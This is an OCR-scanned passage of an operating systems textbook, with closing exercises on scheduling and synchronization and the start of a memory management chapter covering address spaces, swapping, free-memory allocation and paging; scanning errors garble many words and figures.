runs, from oldest to most recent, are 40, 20, 40, and 15 msec. What is the prediction 
of the next time? 

38. A soft real-time system has four periodic events with periods of 50, 100, 200, and 250 
msec each. Suppose that the four events require 35, 20, 10, and x msec of CPU time, 
respectively. What is the largest value of x for which the system is schedulable? 

39. Explain why two-level scheduling is commonly used. 

40. Consider a system in which it is desired to separate policy and mechanism for the 
scheduling of kernel threads. Propose a means of achieving this goal. 

41. In the solution to the dining philosophers problem (Fig. 2-46), why is the state variable 
set to HUNGRY in the procedure take_forks? 

42. Consider the procedure pucforks in Fig. 2-20. Suppose that the variable state[iJ was 
set to THINKING after the two calls to test, rather than before. How would this 
change affect the solution? 

43. The readers and writers problem can be fonnulated in several ways with regard to 
which category of processes can be started when. Carefully describe three different 
variations of the problem, each one favoring (or not favoring) some category of proc
esses. For each variation, specify what happens when a reader or a writer becomes 
ready to access the database, and what happens when a process is finished using the 
database. 

44. Write a shell script that produces a file of sequential numbers by reading the last num
ber in the file, adding 1 to it, and then appending it to the file. Run one instance of the 
script in the background and one in the foreground, each accessing the same file. How 
long does it take before a race condition manifests itself? What is the critical region? 
Modify the script to prevent the race (Hint: use 

!n file file.!ock 

to lock the data file). 

45. Assume that you have an operating system that provides semaphores. Implement a 
message system. Write the procedures for sending and receiving messages. 

46. Solve the dining philosophers problem using monitors instead of se_maphores. 

47. Rewrite the program of Fig. 2-23 to handle more than two processes. 

48. Write a producer-consumer problem that uses threads and shares a common buffer. 
However, do not use semaphores or any other synchronization primitives to guard the 
shared data structureS. Just let each thread access them when it wants to. Use sleep 
and wakeup to handle the full and empty conditions. See how long it takes for a fatal 
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race condition to occur. For example, you might have the producer print a number 
once in a while. Do not print more than one number every minute because the IJO 
could affect the race conditions. 

49. A process can be put into a round-robin queue more than once to give it a higher prior
ity. Running multiple instances of a program each working on a �ifferent part of a dat

,
a 

pool can have the same effect. First write a program that tests a Itst of numbers for pn
maUty. Then devise a method to allow multiple instances of the program to run at 
once in such a way that no two instances of the program will w

.
ork on �e same num

ber. Can you in fact get through the list faster by running multlple COPI�S of
, 
the pro

gram? Note that your results will depend upon what else your computer IS domg; on a 
personal computer running only instances of this program you would not expect an 
improvement, but on a system with other processes, you should be able to grab a 
bigger share of the CPU this way. 

3 
M EMORY MANAG EM ENT 

Main memory (RAM) is an important resource that must be carefully man
aged. While the average home computer nowadays has 10,000 times more memo
ry as the IDM 7094, the largest computer in the world in the early 1960s, pro
grams are getting bigger faster than memories. To paraphrase Parkinson's Law, 
"Programs expand to fill the memory available to hold them." In this chapter we 
will study how operating systems create abstractions from memory and how they 
manage them. 

What every programmer would like is a private, infinitely large, infinitely fast 
memory that is also nonvolatile, that is, does not lose its contents when the elec
tric power is switched off. While we are at it, why not make it inexpensive, too? 
Unfortunately, technology does not provide such memories at present. Maybe 
you will discover how to do it. 

What is the second choice? Over the years, people discovered the concept of 
a memory hierarchy, in which computers have a few megabytes of very fast, ex
pensive, volatile cache memory, a few gigabytes of medium-speed, medium
priced, volatile main memory, and a few terabytes of slow, cheap, nonvolatile 
disk storage, not to mention removable storage, such as DVDs and USB sticks. It 
is the job of the operating system to abstract this hierarchy into a useful model and 
then manage the abstraction. 

The part of the operating system that manages (part of) the memory hierarchy 
is called the memory manager. Its job is to efficiently manage memory: keep 
track of which parts of memory are in use, al10cate memory to processes when 
they need it, and deallocate it when they are done. 

173 
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In this chapter we will investigate several different memory management 
schemes, ranging from very simple to highly sophisticated. Since managing the 
lowest level of cache memory is normally done by the hardware, the focus of this 
chapter will be on the programmer's model of main memory and how it can be 
managed welL The abstractions for, and the management of, permanent stor
age-the disk-are the subject of the next chapter. We will start at the beginning 
and look first at the simplest possible schemes and then gradually progress to 
more and more elaborate ones. 

3.1 NO MEMORY ABSTRACTION 

The simplest memory abstraction is no abstraction at all. Early mainframe 
computers (before 1960), early minicomputers (before 1970), and early personal 
computers (before 1980) had no memory abstraction. Every program simply saw 
the physical memory. When a program executed an instruction like 

MOV REGISTER1,1000 

the computer just moved the contents of physical memory location 1000 to 
REGISTER]. Thus the model of memory presented to the programmer was sim
ply physical memory, a set of addresses from 0 to some maximum, each address 
corresponding to a cell containing some number of bits, commonly eight. 

Under these conditions, it was not possible to have two running programs in 
memory at the same time. If the fust program wrote a new value to, say, location 
2000, this would erase whatever value the second program was storing there. 
Nothing would work and both programs would crash almost immediately. 

Even with the model of memory being just physical memory, several options 
are possible. Three variations are shown in Fig. 3-1. The operating system may 
be at the bottom of memory in RAM (Random Access Memory), as shown in 
Fig. 3-1(a), or it may be in ROM (Read-Only Memory) at the top of memory, as 
shown in Fig. 3-1(b), or the device drivers may be at the top of memory in a ROM 
and the rest of the system in RAM down below, as shown in Fig. 3-1(c). The first 
model was formerly used on mainframes and minicomputers but is rarely used 
any more. The second model is used on some handheld computers and embedded 
systems. The third model was used by early personal computers (e.g., running 
MS-DOS), where the portion of the system in the ROM is called the BIOS (Basic 
Input Output System). Models (a) and (c) have the disadvantage that a bug in the 
user program can wipe out the operating system, possibly with disastrous results 
(such as garbling the disk). 

When the system is organized in this way, generally only one process at a 
time can be running. As soon as the user types a command, the operating system 
copies the requested program from disk to memory and executes it. When the 
process finishes, the operating system displays a prompt character and waits for a 
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Figure 3· 1. Three simple ways of organizing memory with an operating system 
and one user process. Other possibilities also exist. 
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new command. When it receives the command, it loads a new program into mem
ory, overwriting the first one, 

One way to get some parallelism in a system with no memory abstraction is to 
program with multiple threads. Since all threads in a process are supposed to see 
the same memory image, the fact that they are forced to is not a problem. While 
this idea works, i� is of limited use since what people often want is unrelated pro� 
grams to be runmng at the same time, something the threads abstraction does not 
provide: Fu:rhe�ore, any system that is so primitive as to provide no memory 
abstractIOn IS unlikely to provide a threads abstraction. 

Running Multiple Programs Without a Memory Abstraction 

However, even ,,:ith no memory abstraction, it is possible to run multiple pro
grams at the same time. What the operating system has to do is save the entire 
contents ?f memory to a disk file, then bring in and run the next program. As long 
as there IS only one program at a time in memory, there are no conflicts. This 
concept (swapping) will be discussed below. 

With the addition of some special hardware, it is possible to run multiple pro
grams concurrently, even without swapping. The early models of the IBM 360 
solved the problem as follows. Memory was divided into 2-KB blocks and each 
one was assigned a 4Hbit protection key held in special registers inside the CPU. 
A machine with a I-MB memory needed only 512 of these 4-bit registers for a 
total of 256 bytes of key storage. The PSW (Program Status Word) also contained 
a 4-bit key. The 360 hardware trapped any attempt by a running process to access 
m�mory with a protection code different from the PSW key. Since only the oper
atmg system could change the protection keys, user processes were prevented 
from interfering with one another and with the operating system itself. 
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Nevertheless, this solution had a major drawback, depicted in Fig. 3-2. Here 
we have two programs, each 1 6  KB in size, as shown in Fig. 3-2(a) and (b). The 
former is shaded to indicate that it has a different memory key than the latter. The 
first program starts out by jumping to address 24, which contains � MOV ins:ruc-
lion. The second program starts out by jumping to address :8, �hlCh. contams a 
eM? instruction. The instructions that are not relevant to thIS dIScussIon are not 
shown, When the two programs are loaded consecutively in memory starting at 
address 0, we have the situation of Fig. 3-2(c). For this example, we assume the 
operating system is in high memory and thus not shown. 

0 

CMP 

JMP28 

(a) (bl 

1 16380 

2 

1 
1 

8 
2' 
20 
6 
2 
8 • o 

0 1 32764 

CMP 16412 
16408 
16404 
16400 
16396 
16392 
16388 

JMP28 16384 
,';::'-�:;,d;</{:' 16380 

(cl 

Figure 3�2. lllustration of the relocation problem. (a) A 16�� pr�gram. (b) 
Another 16-KB program. (c) The twO programs loaded consecuuvely mto mem
ory. 

After the programs are loaded they can be run. Since they. have d�fferent 
memory keys, neither one can damage the other. But the proble?I IS of.a dlffer�nt 
nature. When the first program starts. it executes the JMP 24 mstructlon, WhICh 
jumps to the instruction, as expected. This program functions normally . . 

However, after the first program has run long enough, the operatmg system 
may decide to run the second program, which has been loaded above the first one, 
at address 16,384. The first instruction executed is JMP 28, which jumps to the 
ADD instruction in the first program, instead of the CMP instruction it is supposed 
to jump to. The program will most likely crash in well under 1 sec. 
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The core problem here is that the two programs both reference absolute physi
cal �emory. That is not what we want at alL We want each program to reference 
a pnvate set of addre

.
sses local to it. We will show how this is achieved shortly. 

What the IBM 360 dId as a stop�gap solution was modify the second prooram on 
the fly as it loaded it into memory using a technique known as static reI�cation. 
It worked like this. When a program was loaded at address 16,384, the constant 
16,384 was added to every program address during the load process. While this 
mechanism works if done right, it is not a very general solution and slows down �oa�ng. Fu

.
rthennore, it requires extra information in all executable programs to 

mdIcate whIch words contain (relocatable) addresses and which do not. After all 
the "28" in Fig. 3-2(b) has to be relocated but an instruction like 

MOV AEGISTER1 ,28 

which moves the number 28 to REGISTER] must not be relocated. The loader 
needs some way to tell what is an address and what is a constant. 

Finally, as we pointed out in Chap. 1 ,  history tends to repeat itself in the com
puter world. While direct addressing of physical memory is but a distant memory 
(sony) on mainframes, minicomputers, desktop computers, and notebooks, the 
lack of a �emory abstraction is still common in embedded and smart card sys
tems. DeVICes such as radios, washing machines, and microwave ovens are all full 
of software (in ROM) these days, and in most cases the software addreSoSes abso
lute memory. This works because all the programs are known in advance and 
users are not free to run their own software on their toaster. 

. 
While high-�nd embedded systems (such as cell phones) have elaborate oper

atm? �y�tems, �lmpler ones do not. In some cases, there is an operating system, 
but It IS Just a lIbrary that is linked with the application program and provides sys
�em calls f�r perfonning I/O and other common tasks. The popular e-cos operat� 
mg system IS a commOn example of an operating system as library. 

3.2 A MEMORY ABSTRACTION: ADDRESS SPACES 

All in all, exposing physical memory to processes has several major draw
backs. First, if user programs can address every byte of memory, they can easily 
tr�sh 

.
the operating system, intentionally or by accident. bringing the system to a 

gnndmg halt (unless there is special hardware like the IBM 360's lock and key 
scheme). This problem exists even if only one user program (application) is run
ning. Second, with this model, it is difficult to have multiple programs running at 
once (taking turns, if there is only one CPU). On personal computers, it is com
mon to have several programs open at once (a word processor, an e�mail program, 
and a Web browser, with one of them having the current focus, but the others 
being reactivated at the click of a mouse. Since this situation is difficult to achieve 
when there is no abstraction from physical memory, something had to be done. 
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3.2.1 The Notion of an Address Space 

Two problems have to be solved to allow multiple applications to be in mem
ory at the same time without their interfering with each other: protection and relo
cation. We looked at a primitive solution to the fonner used on the IBM 360: 
label chunks of memory with a protection key and compare the key of the execut
ing process to that of every memory word fetched. However, this approach by it
self does not solve the latter problem, although it can be solved by relocating pro
grams as they are loaded, but this is a slow and complicated solution. 

A better solution is to invent a new abstraction for memory: the address space. 
Just as the process concept creates a kind of abstract CPU to run programs, the ad� 
dress space creates a kind of abstract memory for programs to live in. An ad
dress space is the set of addresses that a process can use to address memory. Each 
process has its own address space, independent of those belonging to other prOCH 
esses (except in some special circumstances where processes want to share their 
address spaces). 

The concept of an address space is very general and occurs in many contexts. 
Consider telephone numbers. In the U.S. and many other countries, a local tele
phone number is usually a 7-digit number. The address space for telephone num
bers thus runs from 0,000,000 to 9,999,999, although some numbers, such as those 
beginning with 000 not used. With the growth of cell phones, modems, and fax 
machines, this space is becoming too small, in which case more digits have to be 
used. The address space for 1/0 ports on the Pentium runs from 0 to 16383. IPv4 
addresses are 32-bit numbers, so their address space runs from 0 to 232 - 1 (again, 
with some reserved numbers). 

Address spaces do not have to be numeric. The set of .com Internet domains is 
also an address space. This address space consists of all the strings of length 2 to 
63 characters that can be made using letters, numbers, and hyphens, followed by 
.com. By now you should get the idea. It is fairly simple. 

Somewhat harder is how to give each program its own address space, so ad
dress 28 in one program means a different physical location than address 28 in an
other program. Below we will discuss a simple way that used to be common but 
has fallen into disuse due to the ability to put much more complicated (and better) 
schemes on modern CPU chips. 

Base and Limit Registers 

This simple solution uses a particularly simple version of dynamic reloca
tion. What it does is map each process' address space onto a different part of 
physical memory in a simple way. The classical solution, which was used on ma
chines ranging from the CDC 6600 (the world's first supercomputer) to the Intel 
8088 (the heart of the original IBM PC), is to equip each CPU with two special 
hardware registers, usually called the base and limit registers. When base and 
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limit registers are used, programs are loaded into consecutive memory locations 
wherever there is room and without relocation during loading, as shown in Fig. 3-
2(e). When a process is run, the base register is loaded with the physical address 
where its program begins in memory and the limit register is loaded with the 
length of the program. In Fig. 3-2(c), the base and limit values that would be 
loaded into these hardware registers when the first program is run are 0 and 
16,384, respectively. The values used when the second program is run are 1 6,384 
and 32,768, respectively. If a third 16-KB program were loaded directly above 
the second one and run, the base and limit registers would be 32,768 and 16,384. 

Every time a process references memory, either to fetch an instruction or read 
or write a data word, the CPU hardware automatically adds the base value to the 
address generated by the process before sending the address out on the memory 
bus. Simultaneously, it checks �f the address offered is equal to or greater than the 
value in the limit register, in which case a fault is generated and the access is 
aborted. Thus in the case of the first instruction of the second program in Fig. 3-
2(c), the process executes a 

JMP 28 

instruction, but the hardware treats it as though it were 
JMP 16412 

so it lands on the CMP instruction as expected. The settings of the base�and limit 
registers during the execution of the second program of Fig. 3-2(c) are shown in 
Fig. 3-3. 

Using base and limit registers is an easy way to give each process its own pri
vate address space because every memory address generated automatically has the 
base register contents added to it before being sent to memory. In many imple
mentations, the base and limit registers are protected in such a way that only the 
operating system can modify them. This was the case on the CDC 6600, but not 
on the Intel 8088, which did not even have the limit register. It did, however, 
have multiple base registers, allowing program text and data, for example, to be 
independently relocated, but offered no protection from out-of-range memory ref
erences. 

A disadvantage of relocation using base and limit registers is the need to per
form an addition and a comparison on every memory reference. Comparisons can 
be done fast, but additions are slow due to carry propagation time unless special 
addition circuits are used. 

3.2.2 Swapping 

If the physical memory of the computer is large enough to hold all the proc
esses, the schemes described so far will more or less do. But in practice, the total 
amount of RAM needed by all the processes is often much more than can fit in 
memory. On a typical Windows or Linux system, something like 40-60 processes 
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Figure 3.3. Base and limit registers can be used to give each process a separate 
address space. 

or more may be started up when the computer is booted. For example, when a 
Windows application is installed, it often issues commands so that on subsequent 
system boots, a process will be started that does nothing except check for updates 
to the application. Such a process can easily occupy 5-10 ME of memory. Other 
background processes check for incoming mail, incoming network connections, 
and many other things. And all this is before the first user program is started. 
Serious user application programs nowadays can easily run from 50 to 200 MB 
and more. Consequently, keeping all processes in memory all the time requires a 
huge amount of memory and cannot be done if there is insufficient memory. 

Two general approaches to dealing with memory overload have been devel
oped over the years. The simplest strategy, called swapping, consists of bringing 
in each process in its entirety, running it for a while, then putting it back on the 
disk. Idle processes are mostly stored on disk, so they do not take up any memory 
when they are not running (although some of them wake up periodically to do 
their work, then go to sleep again). The other strategy, called virtual memory, 
allows programs to run even when they are only partially in main memory. Below 
we will study swapping; in Sec. 3.3 we will examine virtual memory. 
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The o�er�tion of a swapping system is illustrated in Fig. 3-4. Initially, only 
process A IS m memory. Then processes B and C are created or swapped in from 
disk. In Fig. 3-4( d) A is swapped out to disk. Then D comes in and B ooes out. 
Firially A comes in again. Since A is now at a different location, addrC:ses con
t�ined in it must be relocated, either by software when it is swapped in or (more 
lIkely) by hardware �uring program execution. For example, base and limit regis
ters would work fine here. 

Tlme -

e c e e e 

B 

A 

Operating 
system 

(a) (b) (c) (d) (e) (D (9) 

Figure 3·4. Memory allocation changes as processes come into memory and 
leave it. The shaded regions are unused memory. 

When swapping creates multiple holes in memory, it is possible to combine 
them all into one big one by moving all the processes downward as far as pos
sible. This technique is known as memory compaction. It is usually not done be
cause it requires a lot of CPU time. For example, on a I-GB machine that can 
copy 4 bytes in 20 nsec, it would take about 5 sec to compact all of memory. 

A point that is worth making concerns how much memory should be allocated 
for a process when it is created or swapped in. If processes are created with a fix
ed size that never changes, then the allocation is simple: the operating system al
locates exactly what is needed, no more and no less. 

If, however, processes' data segments can grow, for example, by dynamically 
allocating memory from a heap, as in many programming languages, a problem 
occurs whenever a process tries to grow. If a hole is adjacent to the process, it 
can be allocated and the process allowed to grow into the hole. On the other 
hand, if the process is adjacent to another process, the growing process will either 
have to be moved to a hole in memory large enough for it, or one or mOre proc
esses will have to be swapped out to create a large enough hole. If a process can
not grow in memory and the swap area on the disk is full, the process will have to 
suspended until some space is freed up (or it can be ki1led). 
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If it is expected that most processes win grow as they run,. it is proba�ly a 
good idea to allocate a little extra memory whenever a process IS swapped In or 
moved to reduce the overhead associated with moving or swapping processes that 
no lon�er fit in their allocated memory. However, when swapping processes to 
disk, o�ly the memory actually in use should be swapped; it is. wast�ful. to s�ap 
the extra memory as welL In Fig. 3-5(a) we see a memory conflgurauon III WhICh 
space for growth has been allocated to two processes. 

} Room fo< gmwlh 
> ..... l.-... 1 } Ac,"ally ;o osa B 

} Room fo< gmwlh 

l···_·L.·" 'i 
A } Actoally ;0 osa 

Operating 
system 

(a) 

} Room for growth " " -'<"-" '1 

} Room for growth r·····c···_··1 

Operating 
system 

(b) 

Figure 3-5. (a) Allocating space for a growing data segment (b) Allocating 
space for a growing stack and a growing data segment. 

If processes can have two growing segments-:-for example, the data segment 
beina used as a heap for variables that are dynamIcally allocated and released and 
a st:ck segment for the nonnal local variables a�d return addres�es-an alterna
tive arrangement suggests itself, namely that of Fig. 3.-5(b). In this figure we s�e 
that each process illustrated has a stack at the top of Its allocated memo� that IS 
growing downward, and a data segment just beyond the program text that IS .grow
ing upward. The memory between them can be used for eithe� segment: If It runs 
out, the process will either have to be moved to a hole WIth suf�clent space, 
swapped out of memory until a large enough hole can be created, or killed. 

3.2.3 Managing Free Memory 

When memory is assigned dynamically, the operating system must .manage it. 
In general terms, there are two ways to keep track of memory usage: bItmaps and 
free lists. In this section and the next one we wi11 100k at these two methods. 
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Memory Management with Bitmaps 

With a bitmap, memory is divided into allocation units as small as a few 
words and as large as several kilobytes. Corresponding to each allocation unit is a 
bit in the bitmap, which is 0 if the unit is free and 1 if it is occupied (or vice 
versa). Figure 3-6 shows part of memory and the corresponding bitmap. 

(b) 

Hole Starts Length 
at 18 2 

Process 

(e) 
Figure 3·6. (a) A part of memory with five processes and three holes. The tick 
marks show the memory aHocation units. The shaded regions (O in the bitmap) 
are free. (b) The corresponding bitmap. (c) The same infonnation as a list. 

The size of the allocation unit is an important design issue. The smaller the al
location unit, the larger the bitmap. However, even with an allocation unit as 
small as 4 bytes, 32 bits of memory will require only 1 bit of the map. A memory 
of 32n bits will use n map bits, so the bitmap will take up only 1133 of memory. If 
the allocation unit is chosen large, the bitmap will be smaller, but appreciable 
memory may be wasted in the last unit of the process if the process size is not an 
exact multiple of the allocation unit. 

A bitmap provides a simple way to keep track of memory words in a fixed 
amount of memory because the size of the bitmap depends only on the size of 
memory and the size of the allocation unit. The main problem is that when it has 
been decided to bring a k unit process into memory, the memory manager must 
search the bitmap to find a run of k consecutive 0 bits in the map. Searching a bit
map for a run of a given length is a slow operation (because the run may straddle 
word boundaries in the map); this is an argument against bitmaps. 

Memory Management with Linked Lists 

Another way of keeping track of memory is to maintain a linked list of allo
cated and free memory segments, where a segment either contains a process or is 
an empty hole between two processes. The memory of Fig. 3-6(a) is represented 
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in Fig. 3-6(c) as a linked "list of segments. Each entry in the list specifies a hole 
(H) Or process (P), the address at which it starts, the length, and a pointer to the 
next entry. 

In this example, the segment list is kept sorted by address. Sorting this way 
has the advantage that when a process terminates or is swapped Ollt, updating the 
list is straightforward. A terminating process normally has two neighbors (except 
when it is at the very top or bottom of memory). These may be either processes or 
holes, leading to the four combinations of Fig. 3-7. In Fig. 3-7(a) updating the list 
requires replacing a P by an H. In Fig. 3-7(b) and Fig. 3-7(c), two entries are coa
lesced into one. and the list becomes oue entry shorter. In Fig. 3-7(d), three en
tries are merged and two items are removed from the list. 

Since the process table slot for the terminating process will normally point to 
the list entry for the process itself, it may be more conveni.ent to have the list as a 
double-linked list, rather than the single-linked list of Fig. 3-6(c). This structure 
makes it easier to find the previous entry and to see if a merge is possible. 

Before X terminates After X terminates 

(a) I A I X I B I becomes I A � B I 
(b) I A I X � becomes I A � 
(') � 

X I 8 I becomes � 8 I 
(d) � X � becomes � 

Figure 3-7. Four neighbor combinations for the terminating process, X. 

When the processes and holes are kept on a list sorted by address, several al
gorithms can be used to allocate memory for a created process (or an existing 
process being swapped in from disk). We assume that the memory manager 
knows how much memory to allocate. The simplest algorithm is first fit. The 
memory manager scans along the list of segments until it finds a hole that is big 
enough. The hole is then broken up into two pieces, one for the process and one 
for the unused memory, except in the statistically unlikely case of an exact fit. 
First fit is a fast algorithm because it searches as little as possible. 

A minor variation of first fit is next fit. It works the same way as first fit, ex
cept that it keeps track of where it is whenever it finds a suitable hole. The next 
time it is called to find a hole, it starts searching the list from the place where it 
left off last time, instead of always at the beginning, as first fit does. Simulations 
by Bays (1977) show that next fit gives slightly worse performance than first fit. 

Another well-known and widely used algorithm is best fit. Best fit searches 
the entire list, from beginning to end, and takes the smallest hole that is adequate. 
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Rather than breaking up a big hole that might be needed later, best fit tries to find 
a hole that is close to the actual size needed, to best match the request and the 
available holes. 

. As an example of first fit and best fit, consider Fig. 3-6 again. If a block of 
SIze 2 is needed, first fit will allocate the hole at 5, but best fit will allocate the 
hole at 18. 

. . 
Best fit is slower than first fit because it must search the entire list every time 

It IS called. Somewhat surprisingly, it also results in more wasted memory than 
first fit or next fit because it tends to fill up memory with tiny, useless holes. First 
fit generates larger holes on the average. 

To get around the problem of breaking up nearly exact matches into a process 
and

. 
a tiny hole, one could think about worst fit, that is, always take the largest 

avallable hole, so that the new .hole will be big enough to be useful. Simulation 
has shown that worst fit is not a very good idea either. 

All four algorithms can be speeded up by maintaining separate lists for proc
esses and holes. In this ,,:ay, all of them devote their full energy to inspecting 
holes, not processes. The mevitable price that is paid for this speedup On alloca
tion is the additional complexity and slowdown when deallocating memory, since 
a freed segment has to be removed from the process list and inserted into the hole 
list. 

If distinct lists are maintained for processes and holes, the hole list may be 
kept sorted on size, to make best fit faster. When best fit searches a list of holes 
from smallest to largest, as soon as it finds a hole that fits, it knows that the hole is 
the smallest one that will do the job, hence the best fit. No further searchino- is 
needed, as it is with the single list scheme. With a hole list sorted by size, firs� fit 
and best fit are equally fast, and next fit is pointless. 

. 
W�en the

. 
holes are kept on separate lists from the processes, a small optimi

zatJ.on IS pOSSIble. Instead of having a separate set of data structures for maintain
ing the hole list, as is done in Fig. 3-6(c), the information can be stored in the 
ho�es. The first word of each hole could be the hole size, and the second word a 
pomter to the following entry. The nodes of the list of Fig. 3-6(c), which reqUire 
three words and one bit (PIH), are no longer needed. 

Yet another allocation algorithm is quick fit, which maintains separate lists 
for some of the more common sizes requested. For example, it might have a table 
with n entries, in which the first entry is a pointer to the head of a list of 4-KB 
holes, the second entry is a pointer to a list of 8-KB holes, the third entry a pointer 
to 12-KB holes, and so on. Holes of, say, 21  KB, could be put on either the 20-KB 
list or on a special list of odd-sized holes. 

With quick fit, finding a hole of the required size is extremely fast, but it has 
the same disadvantage as all schemes that sort by hole size, namely, when a proc

�ss tenninates or is swapped out, finding its neighbors to see if a merge is possible 
IS expensive. If merging is not done, memory will quickly fragment into a large 
number of sm_ into which no processes fit. 
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3.3 VIRTUAL MEMORY 

While base and limit registers can be used to create the abstraction of address 
spaces, there is another problem that has to be s

.
olved: n:anagi�g bloatware. While 

memory sizes are increasing rapidly, software SIzes are Increasmg much faster. In 
the 19803, many universities ran a timesharing system with dozens of (�ore-or
less satisfied) users running simultaneously on a 4-MB V AX. Now MIcrosoft 
recommends having at least 512-MB for a single-user Vista system to run simpl

.
e 

applications and 1 GB if you are doing anything serious. The trend toward multI
media puts even more demands on memory. 

As a consequence of these developments, there is a need to run programs that 
are too laroe to fit in memory, and there is certainly a need to have systems that 
can suppo� mUltiple programs running simultaneously, each of which fits. in 
memory but which collectively exceed memory. Swapping is not an attractive 
option, since a typical SATA disk has a peak transfer rate of at most 100 MB/sec, 
which means it takes at least 10 sec to swap out a 1-GB program and another 10 
sec to swap in a I-GB program. 

The problem of programs larger than memory has b�en around si
.
nce �he 

beginning of computing, albeit in limited areas, such as SCIence and engmeenng 
(simulating the creation of the universe or even simulating � new aircra�t tak�s a 
lot of memory). A solution adopted in the 1960s was to spht programs mto httle 
pieces, called overlays. When a program started, all that was loaded into memor� 
was the overlay manager, which immediately loaded and ran overlay O. When it 
was done, it would tell the overlay manager to load overlay 1, either above over
lay 0 in memory Of there was space for it) or on top of overlay 0 (if there was �o 
space). Some overlay systems were highly complex, allowing many overlays m 
memory at once. The overlays were kept on the disk and swapped in and out of 
memory by the overlay manager. 

Although the actual work of swapping overlays in and out was done by the 
operating system, the work of splitting the program into pieces had to be done 
manually by the programmer. Splitting large programs up into small, modular 
pieces was time consuming, boring, and error prone. Few programmers were 
good at this. It did not take long before someone thought of a way to turn the 
whole job over to the computer. 

The method that was devised (Fotheringham, 1961) has come to be known as 
virtual memory. The basic idea behind virtual memory is that each program has 
its own address space, which is broken up into chunks called pages. Each page is 
a contiguous range of addresses. These pages are mapped onto physical memory, 
but not all pages have to be in physical memory to run the program. When the 
program references a part of its address space that is in physical memory, the 
hardware performs the necessary mapping on the fly. When the program refer
ences a part of its address space that is nO! in physical memory, the .operating sys-
tem is alerted to go get the missing piece and re-execute the mstructlon that fatled. 
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In a sense, virtual memory is a generalization of the base and limit register 
idea. The 8088 had separate base registers (but no limit registers) for text and 
data. With virtual memory, instead of having separate relocation for just the text 
and data segments, the entire address space can be mapped onto physical memory 
in fairly small units. We will show how virtual memory is implemented below. 

Virtual memory. works just fine in a multiprogramming system, with bits and 
pieces of many programs in memory at once. While a program is waiting for piece 
of itself to be read in, the CPU can be given to another process. 

3.3.1 Paging 

Most virtual memory syste,ms use a technique called paging, which we will 
now describe. On any computer, programs reference a set of memory addresses. 
When a program executes an instruction like 

MOV REG, 1 000 

it does so to copy the contents of memory address 1000 to REG (or vice versa, de
pending on the computer). Addresses can be generated using indexing, base reg
isters, segment registers, and other ways. 

CPU 

The CPU sends virtual 
CPU addresses to the MMU 

package 

Memory 
management 

unit 
Memory Disk 

controller 

--��--------------t--------J--- B"' 
The MMU sends phySical 
addresses to the memory 

Figure 3�8. The position and function of the MMU. Here the MMU is shown 
as being a part of the CPU chip because it commonly is nowadays. However, 
logically it could be a separate chip and was in years gone by. 

These program-generated addresses are called virtual addresses and form the 
virtual address space. On computers without virtual memory, the virtual address 
is put directly onto the memory bus and causes the physical memory word with 
the same address to be read or written. When virtual memory is used, the virtual 
addresses do not go directly to the memory bus. Instead, they go to an MlVIU 



L 

188 MEMORY MANAGEMENT CHAP. 3 

(Memory Management Unit) that maps the virtual addresses onto the physical 
memory addresses, as illustrated in Fig. 3-8, 

A very simple example of how this mapping works is shown in Fig. 3-9. In 
this example, we have a computer that generates 16-bit addresses, from 0 up to 
64K These are the virtual addresses. This computer, however, bas only 32 KB of 
physical memory. So although 64-KB programs can be written, they cannot be 
loaded ioto memory in their entirety and run. A complete copy of a program's 
core image, up to 64 KB, must be present on the disk, however, so that pieces can 
be brought in as needed. 

The virtual address space is divided into fixed-size units called pages. The 
corresponding units in the physical memory are called page frames. The pages 
and page frames are generally the same size. In this example they are 4 KB, but 
page sizes from 512 bytes to 64 KB have been used in real systems. With 64 KB 
of virtual address space and 32 KB of physical memory, we get 16 virtual pages 
and 8 page frames. Transfers between RAM and disk are always in whole pages. 

Virtual 
address 

space 
60K-64K X 

56K-60K X } Virtual page 
52K-56K X 

48K-52K X 
44K-48K 7 
40K-44K X 

36K-40K 5 
Physical 
memory 

32K-36K X address 
28K-32K X 28K-32K 

24K-28K X 24K-28K 

20K-24K 3 20K-24K 

16K-20K 4 16K-20K 

12K-16K 0 12K-16K 

8K-12K 6 BK-12K 

4K-aK 4K-aK 

OK-4K 2 hOK-4K 
\ 

Page frame 

Figure 3.9. The relation between virtual addresses and physical memory ad
dresses is given by the page table. Every page begins on a multiple of 4096 and 
ends 4095 addresses higher, so 4K-8K really means 4096-8191 and 8K to 12K 
means 8192-12287. 

The notation in Fig. 3-9 is as follows. The range marked OK-4K means that 
the virtual or physical addresses in that page are 0 to 4095. The range 4K-8K 
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refers to addresses 4096 to 8191,  and so on. Each page contains exactly 4096 ad
dresses starting at a multiple of 4096 and ending one shy of a multiple of 4096. 

When the program tries to access address 0, for example, using the instruction 
MOV REG,O 

virtual address 0 is sent to the MMU. The MMU sees that this virtual address falls 
in page 0 (0 to 4095), which according to its mapping is page frame 2 (8192 to 
12287). It thus transforms the address to 8192 and outputs address 8192 onto the 
bus. The memory knows nothing at all about the MMU and just sees a request for 
reading or writing address 8192, which it honors. Thus, the MMU has effectively 
mapped all virtual addresses between 0 and 4095 onto physical addresses 8192 to 
12287. 

Similarly, the instruction 
MOV REG,8192 

is effectively transfonned into 
MOV REG,24576 

because virtual address 8192 (in virtual page 2) is mapped onto 24576 (in physical 
page frame 6). As a third example, virtual address 20500 is 20 bytes from the 
start of virtual page 5 (virtual addresses 20480 to 24575) and maps onto·physical 
address 12288 + 20 = 12308. 

By itself, this ability to map the 16 virtual pages onto any of the eight page 
frames by setting the MMU's map appropriately does not solve the problem that 
the virtual address space is larger than the physical memory. Since we have only 
eight physical page frames, only eight of the virtual pages in Fig. 3-9 are mapped 
onto physical memory. The others, shown as a cross in the figure, are not mapped. 
In the actual hardware, a Present/absent bit keeps track of which pages are phys
ically present in memory. 

What happens if the program references an unmapped addresses, for example, 
by using the instruction 

MOV REG,32780 

which is byte 12 within virtual page 8 (starting at 32768)? The MMU notices that 
the page is unmapped (indicated by a cross in the figure) and causes the CPU to 
trap to the operating system. This trap is caned a page fault. The operating sys
tem picks a little-used page frame and writes its contents back to the disk (if it is 
not already there). It then fetches the page just referenced into the page frame just 
freed, changes the map, and restarts the trapped instruction. . 

For example, if the operating system decided to evict page frame 1 ,  it would 
load virtual page 8 at physical address 8192 and make two changes to the MMU 
map. First, it would mark virtual page 1 's entry as unmapped, ·to trap any future 
accesses to virtual addresses between 4096 and 8191.  Then it would replace the 
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. v'�ual paoe 8's entry with a 1 so that when the trapped instruction is re-
cross In ll C  0 ' 

executed, it will map virma1 address 32780 to physical address 4108 (4096 + 12). 

Now let us look inside the :MMU to see how It works and why we have cho

to use a page size that is a power of 2. In Fig. 3-10 we see an exam�le of a 

